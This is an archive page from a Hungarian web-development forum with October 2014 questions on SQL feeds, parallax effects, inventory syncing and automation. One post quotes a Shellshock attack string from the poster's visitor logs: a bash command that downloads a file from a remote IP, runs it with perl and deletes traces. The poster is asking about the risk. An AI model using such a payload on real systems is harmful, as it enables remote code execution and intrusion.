ugrás a tartalomhoz

Archívum - Okt 2014

október 6

[Lekérés] Követett felhasználók "feed"

sandrosdj · 2014. Okt. 6. (H), 15.55
Sziasztok!

Egy ideje próbálok összerakni egy olyan lekérést, amely több táblából képes egyszerre kiolvasni adatokat.
Ez leginkább a facebook tickeréhez, vagy a spotify action bar-jához hasonlítható.

A felhasználók az users táblában, a követések a favs táblában, a listázandó dolgok pedig a posts és comments táblában találhatóak.

Táblákról:
users: userId, userName
favs: favId, favUser, favUser2, favStatus (0,1), favTime (INT 10)
- az user a követő, az user2 pedig, hogy kit
- status = 1: követi, status = 0: már nem követi
- time: ekkor történt a követés/kikövetés
posts: postId, postTitle, postTime (INT 10)
comments: commentPost, commentText, commentTime (INT 10)


No, itt tulajdonképpen az kellene, hogy ha futtatom a fetch_assoc() függvényt, akkor listázódjanak sorban a posztok és kommentek pl.: $data['type'] = (comment ? post? ), $data[userName], $data[content] = (maga a komment vagy a post címe), $data[time] = időpont.

Rengeteget gondolkodtam raja, de semmi működő lekérést nem sikerült még összeeszkábálni.
Már azzal is előrébb lennék, ha külön a kommentek és posztok számára lenne lekérés, amiket majd egy tömbbe rendezek.

A gondot a követések (favs) tábla okozza, mivel több sor tartozhat valakihez (status).

Nem kérem, hogy komplett megoldással álljon elő valaki, csak valami útmutatásra lenne szükségem. Dokumentációkat olvastam, de ilyenre megoldást még nem találtam és bevallom, hogy nincs sok időm rá (uni) (a lekérés saját használatra kell, nem feladat).

Előre is köszönöm a segítséget! :)
 

október 4

JS PHP változóba ír - Hogy lehet, hogy ez működik ???? - UFO-t látok ?

Mikulasche · 2014. Okt. 4. (Szo), 15.50
Általában azért írok ide mert valami nem megy.

Most viszont azért mert nem értem, hogy működhet ez a kód ?

<?php

$width =  ("
<script LANGUAGE=\"javascript\">
width = screen.width;
var numValue = parseInt(width);
document.write(numValue)
</script>
");


echo ("WIDTH: $width");

?>
Nekem ugyanis kiirja a kepernyőfelbontást !!!!

Ami nonszensz, hiszen a php a szerveren fut le és rakja össze a kimenetet,
A JS ott még nem adhat neki értéket.

UFO-t látok ?
 

mysql adatbázis teljes törlése

balczarz · 2014. Okt. 4. (Szo), 07.53
hogyan tudom véglegesen eltüntetni az adatbázist win xp rendszerből?
 

október 3

Why GitHub is not your CV

Hidvégi Gábor · 2014. Okt. 3. (P), 14.48
Kevés és nem strukturált információt szolgáltat a GitHub a munka szempontjából
 

Creating Scrolling Parallax Effects with CSS

Hidvégi Gábor · 2014. Okt. 3. (P), 14.25
A népszerű effektus megvalósítása szkript nélkül
 

USER_AGENT exploit?

tacsiazuma · 2014. Okt. 3. (P), 00.14
A weboldalamon a látogatói statisztikákat egy adatbázisban tárolom, ahol puszta kíváncsiságból bedobtam egy useragent oszlopot is, ami értelemszerűen a $_SERVER['USER_AGENT'] változó értékét kapja meg (szerencsére az admin panel sehol nem iratja ki ezt). Ahogy nézegettem az adatokat, ezt találtam köztük:
() { :;}; /bin/bash -c "wget -O /var/tmp/wow1 208.118.61.44/wow1;perl /var/tmp/wow1;rm -rf /var/tmp/
Annyira rájöttem, hogy a kis hamis letöltene valami fájlt az adott IP-ről, aztán azt lefuttatná perl-el és eltakarítaná a nyomait.

Az egyértelmű, hogy nem jó szándékkal tenné, viszont az érdekelne, hogy mely esetekben fordulhat elő, hogy shell scriptben futtassak le USER_AGENT-et? Mikor jelent ez veszélyt?
 

október 2

Parallax design

danó · 2014. Okt. 2. (Cs), 20.31
Sziasztok!

Épp egy parallax-os oldalon dolgozok, kérdésem az lenne milyen JS plugin-t ajánlotok parallax működéshez, aki csinált már ilyet tud-e valami használhatót?

Előre is köszönöm!
 

október 1

Egyik adatbázisból a másikba másolás bizonyos feltételek teljesülése esetén

kotapeter · 2014. Okt. 1. (Sze), 19.00
Sziasztok!

Egy webáruházat fejlesztek és azt szeretném megoldani, hogy az offline bolt raktárkészletét folyamatosan kövesse a webáruház raktárkészlete. Kb. 3000 termékről van szó.
Tehát ha eladnak valamit az offline boltban, akkor a webáruházban is csökkenjen annak a terméknek a darabszáma.

Ezt egyelőre egy cron-al oldottam meg. Linkelem a PHP kódot, ami minden egyes percben lefutott.

<?php
	$db = new MySQLi(offline üzlet adatbázisa);
	$db2 = new MySQLi(online üzlet adatbázisa);

	if ($db->connect_errno) {
    	exit();
	}
	
	$lekerdez = "select cikkszam,cikkszam_nev,db,kisker_ar,nyilv_ar,kategoria,db from cikkszam order by 1";
	$lekerdez2 = "select model,quantity from bio_product";

	$talalat = $db->query($lekerdez);
	$talalat2 = $db2->query($lekerdez2); 
	
	$n = $talalat->num_rows;
	$s = $talalat2->num_rows;

	for ($i=0; $i<$s; $i++) {

		$sor2 = $talalat2->fetch_assoc();
		$aktdb=0;
		for ($j=0; $j<$n; $j++) {
			$sor = $talalat->fetch_assoc();
			if (stripslashes($sor['cikkszam']) == stripslashes($sor2['model']) && stripslashes($sor['db']) != stripslashes($sor2['quantity'])) {
				$aktdb = $sor['db'];
				mysqli_query($db2,"UPDATE bio_product SET quantity=".$aktdb." WHERE model='".stripslashes($sor2['model'])."'");
				break;
			}
		}
		$talalat = $db->query($lekerdez);
	}
	$db->close();
?>
Nos, ezzel az egyszerű kóddal az a legnagyobb gond, hogy 3000 termék esetén csekély 4 óra alatt fut le.
Biztos vagyok benne, hogy van ennél sokkal jobb és elegánsabb megoldás.

Ha van ötletetek kérlek osszátok meg velem!

Köszönöm!

Peti
 

Felhasználó által beállítható automatizmusok

webproghu · 2014. Okt. 1. (Sze), 13.17
Sziasztok,

a következő problémába futottam bele:
adott egy adminisztrációs felület, ahol rendeléseket és termékeket lehet kezelni.
Jelenleg egy olyan funkció implementálásán dolgozom, amivel a rendszert használó felhasználó
egyedi automatizmusokat tud létrehozni, például ha egy termék státusza "készleten" helyett "nincs készleten"
lett, akkor a rendszer (azonnal, vagy pl. az esemény bekövetkezte után 3 nappal, tehát lehet késleltetni is) küldjön egy emailt az illetékes személynek,
vagy minden hétfőn reggel küldje ki a rendszer egy email címre a termékek listáját.

Az eseményhez/feltételhez kötődő műveletek elvégzése nem jelent gondot, viszont még nem találtam meg a megfelelő
módot, hogy hogyan vizsgáljam egy esemény (vagy időpont) bekövetkeztét, illetve hogyan kezeljem a késleltetéseket.

Van valakinek ötlete, hogy milyen formában lehetne tárolni a felhasználó által megadott feltételrendszert,
illetve hogyan lehetne azok bekövetkezését vizsgálni?

Előre is köszönök minden segítséget!